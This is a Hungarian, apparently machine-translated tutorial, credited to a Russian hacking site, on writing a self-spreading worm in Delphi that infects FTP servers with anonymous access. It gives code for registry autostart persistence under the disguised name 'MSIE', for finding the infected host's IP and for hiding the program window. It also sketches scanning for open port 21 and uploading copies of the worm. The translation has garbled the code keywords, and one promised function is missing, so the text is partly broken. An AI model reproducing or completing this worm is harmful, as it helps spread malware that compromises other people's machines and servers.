Hogyan írjunk egy féreg Delphi

Írásban féreg Delphi.

Ez a cikk vettem www.inattack.ru oldalon, és azt hiszem, ez nagyon hasznos lesz a kezdők a kódoló Delphi.

Zdarova! Nézzük most írni a féreg? Azt akarjuk, hogy az ilyen kis állatok! Ma én segítek neked ebben! Mi írjon Delphi6. A féreg terjed ftp szerver névtelen hozzáférést. Tehát ott megy! Hozzon létre egy új projektet. Csak NMFTP pelyhesítő, így alakítva ki (ún nélkül 1). Ezután kell nyilatkozni két globális változót. Ez úgy történik, miután a var, ami után jön a vonalak

elején unita.
Csak add hozzá a modult használják WinSock és Registry.

Nézzük írja elő a féreg a rendszerleíró adatbázisban:

Regini: = TRegIniFile.Create ( 'szoftver');
RegIni.RootKey: = HKEY_LOCAL_MACHINE;
RegIni.OpenKey ( 'szoftver', true);
RegIni.OpenKey (a továbbiakban: Microsoft, true);
RegIni.OpenKey ( 'Windows', true);
RegIni.OpenKey (CurrentVersion ', true);
// Pishemsya Run szolgáltatásokat a mappa neve MSIE gombot, majd a fájl helyét //
RegIni.WriteString ( 'RunServices', 'MSIE', Application.ExeName);
RegIni.Free;

Így automatikusan betöltődik a rendszer indításakor. Szükséges, hogy állapítsa 2 változó stringovye ip1st és ip2nd. Ők hazudnak ip 4 részre osztható. Nézd meg akkor tetszik ez:

var
Form1: TForm1;
ip1st, ip2nd: string;

Ezután meg kell, hogy az IP-fertőzött gépek. Ezt használja a következő függvény (nevezzük GetLocalIP):

funkció GetLocalIP: String;
const WSVer = $ 101;
var
wsaData: TWSAData;
P: PHostEnt;
Buf: array [0..127] Char;
kezdődik
Eredmény: = '';
ha WSAStartup (WSVer, wsaData) = 0, akkor kezdődik
ha GetHostName (@Buf, 128) = 0, akkor kezdődik
P: = gethostbyname (@Buf);
ha P <> nil majd Eredmény: = iNet_ntoa (PInAddr (p ^ .h_addr_list ^) ^);
végén;
WSACleanup;
végén;
végén;

Ez a funkció határozza meg az IP-fertőzött autók és küldje vissza nekünk, mint egy húr. Ezután meg kell osztani a megszerzett IP 4 részre. Írjunk egy függvény, és hívja meg CutIP (IP vágás). Itt az a kód:

Ezt követően, a változó ftp_list az összes ip listát, amelyben a 21. port nyitva van. Ezután kell terjeszteni a féreg másolatát az összes rendelkezésre ftp-szerver listát. Én nem közvetlenül írja le a teljes folyamatot, és teszi a képzelet munkája. Ha egy kapcsolat eljut hozzánk egy listát a fő könyvtárba. Ez lehet beszerezni a következő kódot:

NMFTP.NList;
// Ezután hozzon létre egy felvezető OnListItem események
// és írd bele a következő dolog
[Imya_spiskovoy változó] Adjunk hozzá (jegyzék);

Ezt követően, a változó alapján kerül sor egy listát a mappák és fájlok. Lehetnek gondok az injekciós féreg az ftp miatt Nem minden helyen lehet engedni bejegyzést.
Ezt ellenőrizheti a következő: hogy megpróbálják kitölteni a gyökérkönyvtárban, ha nem, akkor a ciklus elindításához, hogy lesz egy húr a neve a mappa / fájl. Ezután módosítsa könyvtárat a venni a listáról, ha hibát (ez lehet egy fájl), majd lépni, ha sikerült valamit változtatni próbálják kitölteni, stb Ha sikerült kitölteni, majd csatlakozik a következő ftpshku, és nem ugyanaz.

Folder változik NMFTP.ChangeDir kód (mappát); Fájlok letöltése a következő: NMFTP.Download (imya_zakachivaemogo_fayla, imya_pod_kotorym_fayl_sohranitsya_na_servere); Most, hogy elrejtse a fő formája a felhasználó szeme, ez történik az alábbiak szerint:
Menj be a Projekt> Forrás megtekintése
Ez megnyitja a kód szerkesztő ablak, a kód maga legyen a következő:

var
WhEvent: THandle;
kezdődik
Application.Initialize;
ShowWindow (Application.Handle, SW_HIDE);
Form1: = TForm1.Create (nulla);
Application.Run;
WhEvent: = CreateEvent (nil, igaz, hamis, 'ET');
while (true) do
kezdődik
WaitForSingleObject (WhEvent, 1000);
Application.ProcessMessages;
végén;
végén.

És emlékeztetni tetteikért felelősek csak te!